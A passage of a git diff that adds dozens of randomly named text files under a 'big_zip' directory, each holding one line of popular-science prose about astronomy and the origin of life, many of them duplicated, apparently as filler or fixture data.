+origin of life happened soon after, perhaps around 4.0 billion years ago, in the ponds andoceans of the primitive Earth. The first living things were not anything so complex as a
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_tsqkkiiovy/file_qtlwzrlekuotowovmigl.txt b/big_zip/big-zip-files/folder_tsqkkiiovy/file_qtlwzrlekuotowovmigl.txt
new file mode 100644
index 0000000..3e5a855
--- /dev/null
+++ b/big_zip/big-zip-files/folder_tsqkkiiovy/file_qtlwzrlekuotowovmigl.txt
@@ -0,0 +1 @@
+origin of life happened soon after, perhaps around 4.0 billion years ago, in the ponds andoceans of the primitive Earth. The first living things were not anything so complex as a
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_tsqkkiiovy/file_qxyamcxnfnqtpo.txt b/big_zip/big-zip-files/folder_tsqkkiiovy/file_qxyamcxnfnqtpo.txt
new file mode 100644
index 0000000..3e5a855
--- /dev/null
+++ b/big_zip/big-zip-files/folder_tsqkkiiovy/file_qxyamcxnfnqtpo.txt
@@ -0,0 +1 @@
+origin of life happened soon after, perhaps around 4.0 billion years ago, in the ponds andoceans of the primitive Earth. The first living things were not anything so complex as a
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_tsqkkiiovy/file_rcnjyeigkinsugtl.txt b/big_zip/big-zip-files/folder_tsqkkiiovy/file_rcnjyeigkinsugtl.txt
new file mode 100644
index 0000000..3e5a855
--- /dev/null
+++ b/big_zip/big-zip-files/folder_tsqkkiiovy/file_rcnjyeigkinsugtl.txt
@@ -0,0 +1 @@
+origin of life happened soon after, perhaps around 4.0 billion years ago, in the ponds andoceans of the primitive Earth. The first living things were not anything so complex as a
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_tsqkkiiovy/file_sbbnsgyfqcdocqz.txt b/big_zip/big-zip-files/folder_tsqkkiiovy/file_sbbnsgyfqcdocqz.txt
new file mode 100644
index 0000000..3e5a855
--- /dev/null
+++ b/big_zip/big-zip-files/folder_tsqkkiiovy/file_sbbnsgyfqcdocqz.txt
@@ -0,0 +1 @@
+origin of life happened soon after, perhaps around 4.0 billion years ago, in the ponds andoceans of the primitive Earth. The first living things were not anything so complex as a
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_tsqkkiiovy/file_ssjeuddgocpcdscbzs.txt b/big_zip/big-zip-files/folder_tsqkkiiovy/file_ssjeuddgocpcdscbzs.txt
new file mode 100644
index 0000000..3e5a855
--- /dev/null
+++ b/big_zip/big-zip-files/folder_tsqkkiiovy/file_ssjeuddgocpcdscbzs.txt
@@ -0,0 +1 @@
+origin of life happened soon after, perhaps around 4.0 billion years ago, in the ponds andoceans of the primitive Earth. The first living things were not anything so complex as a
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_tsqkkiiovy/file_tkpgmvuhzclmdweucrnvuq.txt b/big_zip/big-zip-files/folder_tsqkkiiovy/file_tkpgmvuhzclmdweucrnvuq.txt
new file mode 100644
index 0000000..3e5a855
--- /dev/null
+++ b/big_zip/big-zip-files/folder_tsqkkiiovy/file_tkpgmvuhzclmdweucrnvuq.txt
@@ -0,0 +1 @@
+origin of life happened soon after, perhaps around 4.0 billion years ago, in the ponds andoceans of the primitive Earth. The first living things were not anything so complex as a
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_tsqkkiiovy/file_txpcowdgieecpoogxykedz.txt b/big_zip/big-zip-files/folder_tsqkkiiovy/file_txpcowdgieecpoogxykedz.txt
new file mode 100644
index 0000000..3e5a855
--- /dev/null
+++ b/big_zip/big-zip-files/folder_tsqkkiiovy/file_txpcowdgieecpoogxykedz.txt
@@ -0,0 +1 @@
+origin of life happened soon after, perhaps around 4.0 billion years ago, in the ponds andoceans of the primitive Earth. The first living things were not anything so complex as a
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_tsqkkiiovy/file_vtopmkykdutogfytlnrflh.txt b/big_zip/big-zip-files/folder_tsqkkiiovy/file_vtopmkykdutogfytlnrflh.txt
new file mode 100644
index 0000000..3e5a855
--- /dev/null
+++ b/big_zip/big-zip-files/folder_tsqkkiiovy/file_vtopmkykdutogfytlnrflh.txt
@@ -0,0 +1 @@
+origin of life happened soon after, perhaps around 4.0 billion years ago, in the ponds andoceans of the primitive Earth. The first living things were not anything so complex as a
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_tsqkkiiovy/file_wojvfbvyzvcjdvqscqas.txt b/big_zip/big-zip-files/folder_tsqkkiiovy/file_wojvfbvyzvcjdvqscqas.txt
new file mode 100644
index 0000000..3e5a855
--- /dev/null
+++ b/big_zip/big-zip-files/folder_tsqkkiiovy/file_wojvfbvyzvcjdvqscqas.txt
@@ -0,0 +1 @@
+origin of life happened soon after, perhaps around 4.0 billion years ago, in the ponds andoceans of the primitive Earth. The first living things were not anything so complex as a
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_tsqkkiiovy/file_wplnvzqoophp.txt b/big_zip/big-zip-files/folder_tsqkkiiovy/file_wplnvzqoophp.txt
new file mode 100644
index 0000000..3e5a855
--- /dev/null
+++ b/big_zip/big-zip-files/folder_tsqkkiiovy/file_wplnvzqoophp.txt
@@ -0,0 +1 @@
+origin of life happened soon after, perhaps around 4.0 billion years ago, in the ponds andoceans of the primitive Earth. The first living things were not anything so complex as a
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_tsqkkiiovy/file_xgbwlpqmps.txt b/big_zip/big-zip-files/folder_tsqkkiiovy/file_xgbwlpqmps.txt
new file mode 100644
index 0000000..3e5a855
--- /dev/null
+++ b/big_zip/big-zip-files/folder_tsqkkiiovy/file_xgbwlpqmps.txt
@@ -0,0 +1 @@
+origin of life happened soon after, perhaps around 4.0 billion years ago, in the ponds andoceans of the primitive Earth. The first living things were not anything so complex as a
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_tsqkkiiovy/file_zuxxbzrkpj.txt b/big_zip/big-zip-files/folder_tsqkkiiovy/file_zuxxbzrkpj.txt
new file mode 100644
index 0000000..3e5a855
--- /dev/null
+++ b/big_zip/big-zip-files/folder_tsqkkiiovy/file_zuxxbzrkpj.txt
@@ -0,0 +1 @@
+origin of life happened soon after, perhaps around 4.0 billion years ago, in the ponds andoceans of the primitive Earth. The first living things were not anything so complex as a
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_tsqkkiiovy/gdpjguqujcrxaqh.txt b/big_zip/big-zip-files/folder_tsqkkiiovy/gdpjguqujcrxaqh.txt
new file mode 100644
index 0000000..8399277
--- /dev/null
+++ b/big_zip/big-zip-files/folder_tsqkkiiovy/gdpjguqujcrxaqh.txt
@@ -0,0 +1 @@
+occurs on the Moon and when we examine its surface, we find it covered with impact
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_tsqkkiiovy/hesucpgzzmul.txt b/big_zip/big-zip-files/folder_tsqkkiiovy/hesucpgzzmul.txt
new file mode 100644
index 0000000..62abb8f
--- /dev/null
+++ b/big_zip/big-zip-files/folder_tsqkkiiovy/hesucpgzzmul.txt
@@ -0,0 +1 @@
+the harmonies in the mind of God? The book of Nature had waited more than a millennium
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_tsqkkiiovy/hfbkrqax.txt b/big_zip/big-zip-files/folder_tsqkkiiovy/hfbkrqax.txt
new file mode 100644
index 0000000..ccf0b48
--- /dev/null
+++ b/big_zip/big-zip-files/folder_tsqkkiiovy/hfbkrqax.txt
@@ -0,0 +1 @@
+Using only the most abundant gases that were present on the early Earth and almost
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_tsqkkiiovy/kgmtbmkondv.txt b/big_zip/big-zip-files/folder_tsqkkiiovy/kgmtbmkondv.txt
new file mode 100644
index 0000000..975659e
--- /dev/null
+++ b/big_zip/big-zip-files/folder_tsqkkiiovy/kgmtbmkondv.txt
@@ -0,0 +1 @@
+made for the first time - because of the geometry of Earth and Mars - only a few weeks
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_tsqkkiiovy/kyjgmalwf.txt b/big_zip/big-zip-files/folder_tsqkkiiovy/kyjgmalwf.txt
new file mode 100644
index 0000000..edaad74
--- /dev/null
+++ b/big_zip/big-zip-files/folder_tsqkkiiovy/kyjgmalwf.txt
@@ -0,0 +1 @@
+1945: a hundred thousand blockbusters, two megatons. By the late twentieth century, twomegatons was the energy released in the explosion of a single more or less humdrum
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_tsqkkiiovy/lypfcbvk.txt b/big_zip/big-zip-files/folder_tsqkkiiovy/lypfcbvk.txt
new file mode 100644
index 0000000..168b490
--- /dev/null
+++ b/big_zip/big-zip-files/folder_tsqkkiiovy/lypfcbvk.txt
@@ -0,0 +1 @@
+out a ‘real’ motion of the planets, as seen from up there, on the ‘outside,’ which would
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_tsqkkiiovy/njbenjwphjufrybmsevkrkm.txt b/big_zip/big-zip-files/folder_tsqkkiiovy/njbenjwphjufrybmsevkrkm.txt
new file mode 100644
index 0000000..38d02c6
--- /dev/null
+++ b/big_zip/big-zip-files/folder_tsqkkiiovy/njbenjwphjufrybmsevkrkm.txt
@@ -0,0 +1 @@
+designed to take tens of thousands of pictures of the planetary islands in the outer solar
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_tsqkkiiovy/paidzupakigopw.txt b/big_zip/big-zip-files/folder_tsqkkiiovy/paidzupakigopw.txt
new file mode 100644
index 0000000..a8aa0cf
--- /dev/null
+++ b/big_zip/big-zip-files/folder_tsqkkiiovy/paidzupakigopw.txt
@@ -0,0 +1 @@
+phosphors of the Voyager television cameras, generating an image. The image is read by
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_tsqkkiiovy/pcfrufdcbgviqohl.txt b/big_zip/big-zip-files/folder_tsqkkiiovy/pcfrufdcbgviqohl.txt
new file mode 100644
index 0000000..366575b
--- /dev/null
+++ b/big_zip/big-zip-files/folder_tsqkkiiovy/pcfrufdcbgviqohl.txt
@@ -0,0 +1 @@
+with mouths in their chests; of sheep that grew on trees. Some of these stories were true;
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_tsqkkiiovy/pxnnmnqzyx.txt b/big_zip/big-zip-files/folder_tsqkkiiovy/pxnnmnqzyx.txt
new file mode 100644
index 0000000..c69d3da
--- /dev/null
+++ b/big_zip/big-zip-files/folder_tsqkkiiovy/pxnnmnqzyx.txt
@@ -0,0 +1 @@
+weaponry has become far more deadly. Thus, the top of the Richardson curve is shifting
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_tsqkkiiovy/sohrzghxugtvnmwbda.txt b/big_zip/big-zip-files/folder_tsqkkiiovy/sohrzghxugtvnmwbda.txt
new file mode 100644
index 0000000..f06997a
--- /dev/null
+++ b/big_zip/big-zip-files/folder_tsqkkiiovy/sohrzghxugtvnmwbda.txt
@@ -0,0 +1 @@
+he, any more than Thales, attribute the cause of all this ceaseless activity to a divine mind.’
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_tsqkkiiovy/uosuxmjulod.txt b/big_zip/big-zip-files/folder_tsqkkiiovy/uosuxmjulod.txt
new file mode 100644
index 0000000..9608fae
--- /dev/null
+++ b/big_zip/big-zip-files/folder_tsqkkiiovy/uosuxmjulod.txt
@@ -0,0 +1 @@
+would take an infinite amount of time to fall in, because all your clocks - mechanical and
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_tsqkkiiovy/usfdahpsrfdtfmilokrxziyj.txt b/big_zip/big-zip-files/folder_tsqkkiiovy/usfdahpsrfdtfmilokrxziyj.txt
new file mode 100644
index 0000000..9b3c090
--- /dev/null
+++ b/big_zip/big-zip-files/folder_tsqkkiiovy/usfdahpsrfdtfmilokrxziyj.txt
@@ -0,0 +1 @@
+We cannot yet directly see the planets of other stars, tiny points of light swamped in
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_tsqkkiiovy/xrbjmuzujxluwrb.txt b/big_zip/big-zip-files/folder_tsqkkiiovy/xrbjmuzujxluwrb.txt
new file mode 100644
index 0000000..0d4e0bd
--- /dev/null
+++ b/big_zip/big-zip-files/folder_tsqkkiiovy/xrbjmuzujxluwrb.txt
@@ -0,0 +1 @@
+matter of the Earth, disappearing in a flash of gamma rays. But the absence of radioactivity
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_twuizabyzr/file_blolcukokmfj.txt b/big_zip/big-zip-files/folder_twuizabyzr/file_blolcukokmfj.txt
new file mode 100644
index 0000000..a6ce442
--- /dev/null
+++ b/big_zip/big-zip-files/folder_twuizabyzr/file_blolcukokmfj.txt
@@ -0,0 +1 @@
+2,000 years ago. We today can recognize the antiquity of astrology in words such as
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_twuizabyzr/file_brzbjnlkzrlgruushx.txt b/big_zip/big-zip-files/folder_twuizabyzr/file_brzbjnlkzrlgruushx.txt
new file mode 100644
index 0000000..a6ce442
--- /dev/null
+++ b/big_zip/big-zip-files/folder_twuizabyzr/file_brzbjnlkzrlgruushx.txt
@@ -0,0 +1 @@
+2,000 years ago. We today can recognize the antiquity of astrology in words such as
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_twuizabyzr/file_dhemjdzhvxc.txt b/big_zip/big-zip-files/folder_twuizabyzr/file_dhemjdzhvxc.txt
new file mode 100644
index 0000000..a6ce442
--- /dev/null
+++ b/big_zip/big-zip-files/folder_twuizabyzr/file_dhemjdzhvxc.txt
@@ -0,0 +1 @@
+2,000 years ago. We today can recognize the antiquity of astrology in words such as
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_twuizabyzr/file_hverppfzhuw.txt b/big_zip/big-zip-files/folder_twuizabyzr/file_hverppfzhuw.txt
new file mode 100644
index 0000000..a6ce442
--- /dev/null
+++ b/big_zip/big-zip-files/folder_twuizabyzr/file_hverppfzhuw.txt
@@ -0,0 +1 @@
+2,000 years ago. We today can recognize the antiquity of astrology in words such as
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_twuizabyzr/file_ieenuownhrxxlo.txt b/big_zip/big-zip-files/folder_twuizabyzr/file_ieenuownhrxxlo.txt
new file mode 100644
index 0000000..a6ce442
--- /dev/null
+++ b/big_zip/big-zip-files/folder_twuizabyzr/file_ieenuownhrxxlo.txt
@@ -0,0 +1 @@
+2,000 years ago. We today can recognize the antiquity of astrology in words such as
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_twuizabyzr/file_iwgemqwxdafnsvteyuohta.txt b/big_zip/big-zip-files/folder_twuizabyzr/file_iwgemqwxdafnsvteyuohta.txt
new file mode 100644
index 0000000..a6ce442
--- /dev/null
+++ b/big_zip/big-zip-files/folder_twuizabyzr/file_iwgemqwxdafnsvteyuohta.txt
@@ -0,0 +1 @@
+2,000 years ago. We today can recognize the antiquity of astrology in words such as
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_twuizabyzr/file_oeiznrii.txt b/big_zip/big-zip-files/folder_twuizabyzr/file_oeiznrii.txt
new file mode 100644
index 0000000..a6ce442
--- /dev/null
+++ b/big_zip/big-zip-files/folder_twuizabyzr/file_oeiznrii.txt
@@ -0,0 +1 @@
+2,000 years ago. We today can recognize the antiquity of astrology in words such as
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_twuizabyzr/file_txeudwacreqt.txt b/big_zip/big-zip-files/folder_twuizabyzr/file_txeudwacreqt.txt
new file mode 100644
index 0000000..a6ce442
--- /dev/null
+++ b/big_zip/big-zip-files/folder_twuizabyzr/file_txeudwacreqt.txt
@@ -0,0 +1 @@
+2,000 years ago. We today can recognize the antiquity of astrology in words such as
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_twuizabyzr/file_uebvsjtkfuoxxvrhgbutybmh.txt b/big_zip/big-zip-files/folder_twuizabyzr/file_uebvsjtkfuoxxvrhgbutybmh.txt
new file mode 100644
index 0000000..a6ce442
--- /dev/null
+++ b/big_zip/big-zip-files/folder_twuizabyzr/file_uebvsjtkfuoxxvrhgbutybmh.txt
@@ -0,0 +1 @@
+2,000 years ago. We today can recognize the antiquity of astrology in words such as
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_twuizabyzr/file_ymwnoeoxjuuvonrxu.txt b/big_zip/big-zip-files/folder_twuizabyzr/file_ymwnoeoxjuuvonrxu.txt
new file mode 100644
index 0000000..a6ce442
--- /dev/null
+++ b/big_zip/big-zip-files/folder_twuizabyzr/file_ymwnoeoxjuuvonrxu.txt
@@ -0,0 +1 @@
+2,000 years ago. We today can recognize the antiquity of astrology in words such as
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_twuizabyzr/file_znamzclvi.txt b/big_zip/big-zip-files/folder_twuizabyzr/file_znamzclvi.txt
new file mode 100644
index 0000000..a6ce442
--- /dev/null
+++ b/big_zip/big-zip-files/folder_twuizabyzr/file_znamzclvi.txt
@@ -0,0 +1 @@
+2,000 years ago. We today can recognize the antiquity of astrology in words such as
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_twuizabyzr/folder_dlisyhijpt/file_beapcszgmhrdqcickn.txt b/big_zip/big-zip-files/folder_twuizabyzr/folder_dlisyhijpt/file_beapcszgmhrdqcickn.txt
new file mode 100644
index 0000000..9a8d455
--- /dev/null
+++ b/big_zip/big-zip-files/folder_twuizabyzr/folder_dlisyhijpt/file_beapcszgmhrdqcickn.txt
@@ -0,0 +1 @@
+covered in equal times. So, for example, it takes twice as long to go two-thirds of the way
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_twuizabyzr/folder_dlisyhijpt/file_dzdvzvulrnxjymaxgddrbo.txt b/big_zip/big-zip-files/folder_twuizabyzr/folder_dlisyhijpt/file_dzdvzvulrnxjymaxgddrbo.txt
new file mode 100644
index 0000000..9a8d455
--- /dev/null
+++ b/big_zip/big-zip-files/folder_twuizabyzr/folder_dlisyhijpt/file_dzdvzvulrnxjymaxgddrbo.txt
@@ -0,0 +1 @@
+covered in equal times. So, for example, it takes twice as long to go two-thirds of the way
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_twuizabyzr/folder_dlisyhijpt/file_esqmzylfrdqekkfq.txt b/big_zip/big-zip-files/folder_twuizabyzr/folder_dlisyhijpt/file_esqmzylfrdqekkfq.txt
new file mode 100644
index 0000000..9a8d455
--- /dev/null
+++ b/big_zip/big-zip-files/folder_twuizabyzr/folder_dlisyhijpt/file_esqmzylfrdqekkfq.txt
@@ -0,0 +1 @@
+covered in equal times. So, for example, it takes twice as long to go two-thirds of the way
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_twuizabyzr/folder_dlisyhijpt/file_euuimrgvcysuwtwvgvu.txt b/big_zip/big-zip-files/folder_twuizabyzr/folder_dlisyhijpt/file_euuimrgvcysuwtwvgvu.txt
new file mode 100644
index 0000000..9a8d455
--- /dev/null
+++ b/big_zip/big-zip-files/folder_twuizabyzr/folder_dlisyhijpt/file_euuimrgvcysuwtwvgvu.txt
@@ -0,0 +1 @@
+covered in equal times. So, for example, it takes twice as long to go two-thirds of the way
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_twuizabyzr/folder_dlisyhijpt/file_gpdlybukjeyjqwdtrufrj.txt b/big_zip/big-zip-files/folder_twuizabyzr/folder_dlisyhijpt/file_gpdlybukjeyjqwdtrufrj.txt
new file mode 100644
index 0000000..9a8d455
--- /dev/null
+++ b/big_zip/big-zip-files/folder_twuizabyzr/folder_dlisyhijpt/file_gpdlybukjeyjqwdtrufrj.txt
@@ -0,0 +1 @@
+covered in equal times. So, for example, it takes twice as long to go two-thirds of the way
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_twuizabyzr/folder_dlisyhijpt/file_huphqwwacfnsnpyjsfvsphv.txt b/big_zip/big-zip-files/folder_twuizabyzr/folder_dlisyhijpt/file_huphqwwacfnsnpyjsfvsphv.txt
new file mode 100644
index 0000000..9a8d455
--- /dev/null
+++ b/big_zip/big-zip-files/folder_twuizabyzr/folder_dlisyhijpt/file_huphqwwacfnsnpyjsfvsphv.txt
@@ -0,0 +1 @@
+covered in equal times. So, for example, it takes twice as long to go two-thirds of the way
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_twuizabyzr/folder_dlisyhijpt/file_ifwmvyeson.txt b/big_zip/big-zip-files/folder_twuizabyzr/folder_dlisyhijpt/file_ifwmvyeson.txt
new file mode 100644
index 0000000..9a8d455
--- /dev/null
+++ b/big_zip/big-zip-files/folder_twuizabyzr/folder_dlisyhijpt/file_ifwmvyeson.txt
@@ -0,0 +1 @@
+covered in equal times. So, for example, it takes twice as long to go two-thirds of the way
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_twuizabyzr/folder_dlisyhijpt/file_jcppjjihdccbucgehq.txt b/big_zip/big-zip-files/folder_twuizabyzr/folder_dlisyhijpt/file_jcppjjihdccbucgehq.txt
new file mode 100644
index 0000000..9a8d455
--- /dev/null
+++ b/big_zip/big-zip-files/folder_twuizabyzr/folder_dlisyhijpt/file_jcppjjihdccbucgehq.txt
@@ -0,0 +1 @@
+covered in equal times. So, for example, it takes twice as long to go two-thirds of the way
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_twuizabyzr/folder_dlisyhijpt/file_jzlgfenlizmgas.txt b/big_zip/big-zip-files/folder_twuizabyzr/folder_dlisyhijpt/file_jzlgfenlizmgas.txt
new file mode 100644
index 0000000..9a8d455
--- /dev/null
+++ b/big_zip/big-zip-files/folder_twuizabyzr/folder_dlisyhijpt/file_jzlgfenlizmgas.txt
@@ -0,0 +1 @@
+covered in equal times. So, for example, it takes twice as long to go two-thirds of the way
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_twuizabyzr/folder_dlisyhijpt/file_kxfapyntkxzqrpfscwn.txt b/big_zip/big-zip-files/folder_twuizabyzr/folder_dlisyhijpt/file_kxfapyntkxzqrpfscwn.txt
new file mode 100644
index 0000000..9a8d455
--- /dev/null
+++ b/big_zip/big-zip-files/folder_twuizabyzr/folder_dlisyhijpt/file_kxfapyntkxzqrpfscwn.txt
@@ -0,0 +1 @@
+covered in equal times. So, for example, it takes twice as long to go two-thirds of the way
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_twuizabyzr/folder_dlisyhijpt/file_mivtkayj.txt b/big_zip/big-zip-files/folder_twuizabyzr/folder_dlisyhijpt/file_mivtkayj.txt
new file mode 100644
index 0000000..9a8d455
--- /dev/null
+++ b/big_zip/big-zip-files/folder_twuizabyzr/folder_dlisyhijpt/file_mivtkayj.txt
@@ -0,0 +1 @@
+covered in equal times. So, for example, it takes twice as long to go two-thirds of the way
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_twuizabyzr/folder_dlisyhijpt/file_nalycbyzjwiytkndvcakd.txt b/big_zip/big-zip-files/folder_twuizabyzr/folder_dlisyhijpt/file_nalycbyzjwiytkndvcakd.txt
new file mode 100644
index 0000000..9a8d455
--- /dev/null
+++ b/big_zip/big-zip-files/folder_twuizabyzr/folder_dlisyhijpt/file_nalycbyzjwiytkndvcakd.txt
@@ -0,0 +1 @@
+covered in equal times. So, for example, it takes twice as long to go two-thirds of the way
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_twuizabyzr/folder_dlisyhijpt/file_nhtxsmsxfivfklxavcjejkgc.txt b/big_zip/big-zip-files/folder_twuizabyzr/folder_dlisyhijpt/file_nhtxsmsxfivfklxavcjejkgc.txt
new file mode 100644
index 0000000..9a8d455
--- /dev/null
+++ b/big_zip/big-zip-files/folder_twuizabyzr/folder_dlisyhijpt/file_nhtxsmsxfivfklxavcjejkgc.txt
@@ -0,0 +1 @@
+covered in equal times. So, for example, it takes twice as long to go two-thirds of the way
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_twuizabyzr/folder_dlisyhijpt/file_qbeppuaazfah.txt b/big_zip/big-zip-files/folder_twuizabyzr/folder_dlisyhijpt/file_qbeppuaazfah.txt
new file mode 100644
index 0000000..9a8d455
--- /dev/null
+++ b/big_zip/big-zip-files/folder_twuizabyzr/folder_dlisyhijpt/file_qbeppuaazfah.txt
@@ -0,0 +1 @@
+covered in equal times. So, for example, it takes twice as long to go two-thirds of the way
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_twuizabyzr/folder_dlisyhijpt/file_qpntezrcuowpdbssnhr.txt b/big_zip/big-zip-files/folder_twuizabyzr/folder_dlisyhijpt/file_qpntezrcuowpdbssnhr.txt
new file mode 100644
index 0000000..9a8d455
--- /dev/null
+++ b/big_zip/big-zip-files/folder_twuizabyzr/folder_dlisyhijpt/file_qpntezrcuowpdbssnhr.txt
@@ -0,0 +1 @@
+covered in equal times. So, for example, it takes twice as long to go two-thirds of the way
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_twuizabyzr/folder_dlisyhijpt/file_tetekmkootxxzbc.txt b/big_zip/big-zip-files/folder_twuizabyzr/folder_dlisyhijpt/file_tetekmkootxxzbc.txt
new file mode 100644
index 0000000..9a8d455
--- /dev/null
+++ b/big_zip/big-zip-files/folder_twuizabyzr/folder_dlisyhijpt/file_tetekmkootxxzbc.txt
@@ -0,0 +1 @@
+covered in equal times. So, for example, it takes twice as long to go two-thirds of the way
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_twuizabyzr/folder_dlisyhijpt/file_ueewegdhaclsyr.txt b/big_zip/big-zip-files/folder_twuizabyzr/folder_dlisyhijpt/file_ueewegdhaclsyr.txt
new file mode 100644
index 0000000..9a8d455
--- /dev/null
+++ b/big_zip/big-zip-files/folder_twuizabyzr/folder_dlisyhijpt/file_ueewegdhaclsyr.txt
@@ -0,0 +1 @@
+covered in equal times. So, for example, it takes twice as long to go two-thirds of the way
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_twuizabyzr/folder_dlisyhijpt/file_uemzwpzcghqdnapz.txt b/big_zip/big-zip-files/folder_twuizabyzr/folder_dlisyhijpt/file_uemzwpzcghqdnapz.txt
new file mode 100644
index 0000000..9a8d455
--- /dev/null
+++ b/big_zip/big-zip-files/folder_twuizabyzr/folder_dlisyhijpt/file_uemzwpzcghqdnapz.txt
@@ -0,0 +1 @@
+covered in equal times. So, for example, it takes twice as long to go two-thirds of the way
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_twuizabyzr/folder_dlisyhijpt/file_ugsntujrfmag.txt b/big_zip/big-zip-files/folder_twuizabyzr/folder_dlisyhijpt/file_ugsntujrfmag.txt
new file mode 100644
index 0000000..9a8d455
--- /dev/null
+++ b/big_zip/big-zip-files/folder_twuizabyzr/folder_dlisyhijpt/file_ugsntujrfmag.txt
@@ -0,0 +1 @@
+covered in equal times. So, for example, it takes twice as long to go two-thirds of the way
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_twuizabyzr/folder_dlisyhijpt/file_uqhykzgvbcrn.txt b/big_zip/big-zip-files/folder_twuizabyzr/folder_dlisyhijpt/file_uqhykzgvbcrn.txt
new file mode 100644
index 0000000..9a8d455
--- /dev/null
+++ b/big_zip/big-zip-files/folder_twuizabyzr/folder_dlisyhijpt/file_uqhykzgvbcrn.txt
@@ -0,0 +1 @@
+covered in equal times. So, for example, it takes twice as long to go two-thirds of the way
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_twuizabyzr/folder_dlisyhijpt/file_vlqmlkapftnceozedyjknsjw.txt b/big_zip/big-zip-files/folder_twuizabyzr/folder_dlisyhijpt/file_vlqmlkapftnceozedyjknsjw.txt
new file mode 100644
index 0000000..9a8d455
--- /dev/null
+++ b/big_zip/big-zip-files/folder_twuizabyzr/folder_dlisyhijpt/file_vlqmlkapftnceozedyjknsjw.txt
@@ -0,0 +1 @@
+covered in equal times. So, for example, it takes twice as long to go two-thirds of the way
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_twuizabyzr/folder_dlisyhijpt/file_xlaypfrrlfkxvxovqxwvgycd.txt b/big_zip/big-zip-files/folder_twuizabyzr/folder_dlisyhijpt/file_xlaypfrrlfkxvxovqxwvgycd.txt
new file mode 100644
index 0000000..9a8d455
--- /dev/null
+++ b/big_zip/big-zip-files/folder_twuizabyzr/folder_dlisyhijpt/file_xlaypfrrlfkxvxovqxwvgycd.txt
@@ -0,0 +1 @@
+covered in equal times. So, for example, it takes twice as long to go two-thirds of the way
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_twuizabyzr/folder_dlisyhijpt/file_ywrlvhnsdvdrlpoxcqkxnyqi.txt b/big_zip/big-zip-files/folder_twuizabyzr/folder_dlisyhijpt/file_ywrlvhnsdvdrlpoxcqkxnyqi.txt
new file mode 100644
index 0000000..9a8d455
--- /dev/null
+++ b/big_zip/big-zip-files/folder_twuizabyzr/folder_dlisyhijpt/file_ywrlvhnsdvdrlpoxcqkxnyqi.txt
@@ -0,0 +1 @@
+covered in equal times. So, for example, it takes twice as long to go two-thirds of the way
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_twuizabyzr/folder_dlisyhijpt/file_zahkowjwcbvmlzmoyrkt.txt b/big_zip/big-zip-files/folder_twuizabyzr/folder_dlisyhijpt/file_zahkowjwcbvmlzmoyrkt.txt
new file mode 100644
index 0000000..9a8d455
--- /dev/null
+++ b/big_zip/big-zip-files/folder_twuizabyzr/folder_dlisyhijpt/file_zahkowjwcbvmlzmoyrkt.txt
@@ -0,0 +1 @@
+covered in equal times. So, for example, it takes twice as long to go two-thirds of the way
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_twuizabyzr/folder_dlisyhijpt/folder_uqldylganm/bqexbmcmagxvmo.txt b/big_zip/big-zip-files/folder_twuizabyzr/folder_dlisyhijpt/folder_uqldylganm/bqexbmcmagxvmo.txt
new file mode 100644
index 0000000..a59d41f
--- /dev/null
